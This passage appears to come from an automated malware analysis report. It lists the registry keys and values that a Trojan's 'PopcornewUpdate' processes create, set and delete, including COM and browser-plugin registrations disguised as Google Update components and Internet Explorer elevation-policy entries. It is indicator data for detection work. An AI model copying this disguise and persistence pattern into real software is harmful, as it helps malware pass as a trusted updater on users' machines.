[HKCR\Popcornew.Update3WebControl.3\CLSID]
"(Default)" = "{909F2E0D-650B-46B9-A27D-5A893BDDF58D}"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Version" = "9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"brand" = "GGLS"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PopcornewUpdate.exe]
"DisableExceptionChainValidation" = "0"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"
"ThreadingModel" = "Apartment"

[HKCR\Popcornew.OneClickCtrl.9\CLSID]
"(Default)" = "{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\MIME\Database\Content Type\application/x-vnd.Popcornew.oneclickctrl.9]
"CLSID" = "{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}\ProgID]
"(Default)" = "Popcornew.OneClickCtrl.9"

[HKLM\SOFTWARE\Popcornew\Update\Clients\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"pv" = "1.3.25.0"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"pv" = "1.3.25.0"
"client" = "138"

[HKCR\Popcornew.Update3WebControl.3]
"(Default)" = "Popcornew Update Plugin"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Description" = "Popcornew Update"

[HKCR\Popcornew.OneClickCtrl.9]
"(Default)" = "Popcornew Update Plugin"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"AppName" = "PopcornewUpdateBroker.exe"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BA D0 0E C5 E3 89 F7 93 20 D8 7E 36 A9 AB 4B C0"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"Path" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Path" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKCR\MIME\Database\Content Type\application/x-vnd.Popcornew.update3webcontrol.3]
"CLSID" = "{909F2E0D-650B-46B9-A27D-5A893BDDF58D}"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"AppPath" = "%Program Files%\Popcornew\Update"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Version" = "3"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"InstallTime" = "1434736473"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"c"

[HKLM\SOFTWARE\Popcornew\Update]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Popcornew\Update]
"LastChecked"
"ui"
"uid"
"mi"

The process PopcornewUpdate.exe:1920 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "BC 22 E6 1A 83 13 E2 22 3E B1 E3 D0 86 29 13 93"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:1112 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCR\PopcornewUpdate.CoreClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoreClass"

[HKCR\PopcornewUpdate.Update3COMClassService.1.0]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}\ProgID]
"(Default)" = "PopcornewUpdate.Update3COMClassService.1.0"

[HKCR\PopcornewUpdate.CoreClass\CurVer]
"(Default)" = "PopcornewUpdate.CoreClass.1"

[HKCR\PopcornewUpdate.Update3WebSvc\CLSID]
"(Default)" = "{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"LocalService" = "Popcornew_update_m"

[HKCR\AppID\PopcornewUpdate.exe]
"AppID" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3WebSvc]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"AppID" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc.1.0\CLSID]
"(Default)" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3COMClassService"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc.1.0"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebSvc.1.0"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"AppID" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3COMClassService]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.Update3COMClassService\CLSID]
"(Default)" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\CLSID\{6A700506-A641-475A-8538-44AEE2F45DD0}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassSvc"

[HKCR\AppID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"LocalService" = "Popcornew_update"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\CLSID\{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}\ProgID]
"(Default)" = "PopcornewUpdate.CoreClass.1"

[HKCR\PopcornewUpdate.Update3COMClassService.1.0\CLSID]
"(Default)" = "{2BB27047-C938-4EBC-9158-6C84F1CC09D1}"

[HKCR\PopcornewUpdate.Update3WebSvc.1.0]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\PopcornewUpdate.Update3COMClassService\CurVer]
"(Default)" = "PopcornewUpdate.Update3COMClassService.1.0"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\PopcornewUpdate.Update3WebSvc\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebSvc.1.0"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 4C 2B D0 88 C6 90 16 22 30 82 33 55 FA 8E B2"

[HKCR\CLSID\{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebSvc"

[HKCR\PopcornewUpdate.CoreClass.1\CLSID]
"(Default)" = "{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"ServiceParameters" = "/comsvc"

[HKCR\PopcornewUpdate.CoreClass]
"(Default)" = "Google Update Core Class"

[HKCR\AppID\{6A700506-A641-475A-8538-44AEE2F45DD0}]
"(Default)" = "ServiceModule"

[HKCR\CLSID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"(Default)" = "Update3COMClass"

[HKCR\PopcornewUpdate.CoreClass\CLSID]
"(Default)" = "{F930C6AB-C4F4-4CBC-97CB-49ED410F99CF}"

[HKCR\AppID\{2BB27047-C938-4EBC-9158-6C84F1CC09D1}]
"ServiceParameters" = "/comsvc"
"(Default)" = "ServiceModule"

[HKCR\PopcornewUpdate.Update3WebSvc.1.0\CLSID]
"(Default)" = "{74DDBF4E-EC16-468A-A6F4-6C1D250A4EC9}"

[HKCR\PopcornewUpdate.OnDemandCOMClassSvc\CLSID]
"(Default)" = "{6A700506-A641-475A-8538-44AEE2F45DD0}"

The Trojan deletes the following registry key(s):

[HKCR\AppID\PopcornewUpdate.exe]

The process PopcornewUpdate.exe:1252 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5E BE 72 5B 95 93 6A 82 17 2E 2D E0 29 9F 57 FF"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:1384 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCR\PopcornewUpdate.CoreMachineClass\CLSID]
"(Default)" = "{0D692BF5-6C8C-4141-8C24-9CB731D78F75}"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachine.1.0"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoreMachineClass"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback\CurVer]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}\NumMethods]
"(Default)" = "4"

[HKCR\Popcornew.OneClickProcessLauncherMachine.1.0]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\PopcornewUpdate.ProcessLauncher.1.0\CLSID]
"(Default)" = "{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}"

[HKCR\PopcornewUpdate.Update3WebMachine\CLSID]
"(Default)" = "{FE97B593-B850-47EA-A787-977274C3B5B5}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}]
"(Default)" = "ICoCreateAsyncStatus"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}]
"(Default)" = "IPackage"

[HKCR\PopcornewUpdate.CoreMachineClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}]
"(Default)" = "IPopcornewUpdate"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}]
"(Default)" = "IProcessLauncher"

[HKCR\PopcornewUpdate.CoCreateAsync]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}]
"(Default)" = "IJobObserver"

[HKCR\Popcornew.OneClickProcessLauncherMachine\CurVer]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine.1.0"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.CoreMachineClass\CurVer]
"(Default)" = "PopcornewUpdate.CoreMachineClass.1"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine\CLSID]
"(Default)" = "{C0EE992D-B820-48A3-9339-363F5DA9545E}"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}]
"(Default)" = "IProgressWndEvents"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}]
"(Default)" = "IAppBundle"

[HKCR\PopcornewUpdate.Update3WebMachine.1.0\CLSID]
"(Default)" = "{FE97B593-B850-47EA-A787-977274C3B5B5}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\ProgID]
"(Default)" = "PopcornewUpdate.ProcessLauncher.1.0"

[HKCR\PopcornewUpdate.CoCreateAsync\CLSID]
"(Default)" = "{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine.1.0\CLSID]
"(Default)" = "{C0EE992D-B820-48A3-9339-363F5DA9545E}"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}\NumMethods]
"(Default)" = "4"

[HKCR\Popcornew.OneClickProcessLauncherMachine]
"(Default)" = "Popcornew.OneClickProcessLauncher"

[HKCR\PopcornewUpdate.CoCreateAsync\CurVer]
"(Default)" = "PopcornewUpdate.CoCreateAsync.1.0"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}\NumMethods]
"(Default)" = "10"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}\NumMethods]
"(Default)" = "8"

[HKCR\PopcornewUpdate.Update3WebMachine\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebMachine.1.0"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\Popcornew.OneClickProcessLauncherMachine\CLSID]
"(Default)" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\Interface\{E5CE287D-C5C8-4DA3-A66F-5F78CD501BD5}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{49D20DEA-D609-42BE-A9E1-0673382F530D}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}]
"(Default)" = "IAppBundleWeb"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachine"

[HKCR\CLSID\{9892108A-038E-4D48-9D3C-D1E2A9B706EC}\InProcServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
"ThreadingModel" = "Both"

[HKCR\Interface\{16BC6838-379D-47A7-BA04-6F94A8A6CD88}]
"(Default)" = "IOneClickProcessLauncher"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}]
"(Default)" = "IPopcornewUpdate3WebSecurity"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\PopcornewUpdate.Update3WebMachineFallback]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback\CLSID]
"(Default)" = "{7081BB03-D2E6-4797-A2E7-C9EB331636C8}"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}]
"(Default)" = "ICurrentState"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}\Elevation]
"Enabled" = "1"

[HKCR\CLSID\{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CoCreateAsync"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}\NumMethods]
"(Default)" = "40"

[HKCR\Interface\{92C7CBA5-8948-44D6-8A87-998ECCFE24F4}]
"(Default)" = "IPopcornewUpdateCore"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\ProgID]
"(Default)" = "PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\ProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback.1.0"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{94612B35-2B11-4D25-A19B-4DEB5FCFCEC7}\NumMethods]
"(Default)" = "24"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}\NumMethods]
"(Default)" = "14"

[HKCR\CLSID\{CBB4F1A5-E9FD-4207-9E0A-2106D5EA2B49}\InprocHandler32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}]
"CLSID" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\Elevation]
"IconReference" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-1004"

[HKCR\Popcornew.OneClickProcessLauncherMachine.1.0\CLSID]
"(Default)" = "{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}"

[HKCR\PopcornewUpdate.ProcessLauncher\CurVer]
"(Default)" = "PopcornewUpdate.ProcessLauncher.1.0"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.OnDemandCOMClassMachineFallback.1.0\CLSID]
"(Default)" = "{7081BB03-D2E6-4797-A2E7-C9EB331636C8}"

[HKCR\Interface\{AB2D8F9B-2E9A-4996-964D-AD5F41B940B0}]
"(Default)" = "IPopcornewUpdate3"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\Interface\{6B8D4379-95D4-428D-8B3D-D5A655251CD0}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6E 50 34 FF 29 90 08 ED FD 12 4B 7B D6 1F C6 A7"

[HKCR\Interface\{F98FA5CB-A5B7-4836-8FB1-7317FD7FBA1A}\NumMethods]
"(Default)" = "9"

[HKCR\Interface\{97F85554-4DE1-4D54-86F1-E1273E0680EE}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.CoCreateAsync.1.0]
"(Default)" = "CoCreateAsync"

[HKCR\Interface\{91231829-C94F-497E-85B7-4A9ED7C8A2E4}\NumMethods]
"(Default)" = "8"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}\NumMethods]
"(Default)" = "10"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DDAC3A24-5C61-4ED6-9161-3248A4A3E239}]
"(Default)" = "IAppVersion"

[HKCR\CLSID\{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.Update3WebMachineFallback\CLSID]
"(Default)" = "{6E377247-6BEC-4961-84B4-B0FB7ADF84AD}"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{D76A79FC-8290-4B79-BABB-C0A2D584BA6E}\NumMethods]
"(Default)" = "39"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\LocalServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe"

[HKCR\Interface\{2C22389C-2E28-4770-B96C-01AC9FFF6A49}]
"(Default)" = "IApp"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}\NumMethods]
"(Default)" = "6"

[HKCR\PopcornewUpdate.CredentialDialogMachine\CurVer]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine.1.0"

[HKCR\CLSID\{0F840CB3-F4B0-4746-9211-94E5372FBD05}\InprocServer32]
"(Default)" = "%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll"

[HKCR\CLSID\{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}\ProgID]
"(Default)" = "PopcornewUpdate.CoCreateAsync.1.0"

[HKCR\PopcornewUpdate.CredentialDialogMachine.1.0]
"(Default)" = "PopcornewUpdate CredentialDialog"

[HKCR\Interface\{FDDD22AC-8EEB-4615-9D22-E7BF00BBDF98}]
"(Default)" = "IRegistrationUpdateHook"

[HKCR\Interface\{083ABACD-BAF3-4AB7-A52C-32BAF0A44E6B}\NumMethods]
"(Default)" = "24"

[HKCR\PopcornewUpdate.Update3WebMachineFallback.1.0]
"(Default)" = "PopcornewUpdate Update3Web"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\ProgID]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine.1.0"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\ProgID]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine.1.0"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}\VersionIndependentProgID]
"(Default)" = "PopcornewUpdate.CredentialDialogMachine"

[HKCR\CLSID\{7CD8A44F-6DEF-4D91-952D-4492AC5E4306}\VersionIndependentProgID]
"(Default)" = "Popcornew.OneClickProcessLauncherMachine"

[HKCR\CLSID\{7081BB03-D2E6-4797-A2E7-C9EB331636C8}\Elevation]
"Enabled" = "1"

[HKCR\Interface\{DEDFF457-8AA4-48A4-8A37-DC4ACA6133D2}]
"(Default)" = "IAppVersionWeb"

[HKCR\Interface\{7FB88587-9AA6-459D-B4BF-E8094DC46C02}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DA6E3D04-1BE1-489C-94F4-1913F6130DA8}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\Interface\{3B455781-2C9A-4A5F-97BD-18CD9FB621F1}\ProxyStubClsid32]
"(Default)" = "{9892108A-038E-4D48-9D3C-D1E2A9B706EC}"

[HKCR\PopcornewUpdate.ProcessLauncher]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\CLSID\{3DD579C6-640C-4873-9596-D5BD8ECB8E99}]
"(Default)" = "PopcornewUpdate CredentialDialog"

[HKCR\PopcornewUpdate.Update3WebMachineFallback\CurVer]
"(Default)" = "PopcornewUpdate.Update3WebMachineFallback.1.0"

[HKCR\PopcornewUpdate.CoCreateAsync.1.0\CLSID]
"(Default)" = "{52A8C674-98FA-4A0A-9F64-C8B9D161FDC4}"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\Elevation]
"Enabled" = "1"

[HKCR\PopcornewUpdate.ProcessLauncher\CLSID]
"(Default)" = "{EFD2925B-400E-4B47-8CC4-33EB2E3232F6}"

[HKCR\Interface\{F38C5B49-653A-4AC0-9822-761201228D1C}\NumMethods]
"(Default)" = "4"

[HKCR\PopcornewUpdate.CoreMachineClass]
"(Default)" = "Google Update Core Class"

[HKCR\CLSID\{0D692BF5-6C8C-4141-8C24-9CB731D78F75}\ProgID]
"(Default)" = "PopcornewUpdate.CoreMachineClass.1"

[HKCR\Interface\{DF8EBF99-BB5B-4A47-880A-F73B2AA99C61}\NumMethods]
"(Default)" = "4"

[HKCR\CLSID\{FE97B593-B850-47EA-A787-977274C3B5B5}]
"LocalizedString" = "@%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll,-3000"

[HKCR\CLSID\{C0EE992D-B820-48A3-9339-363F5DA9545E}\Elevation]
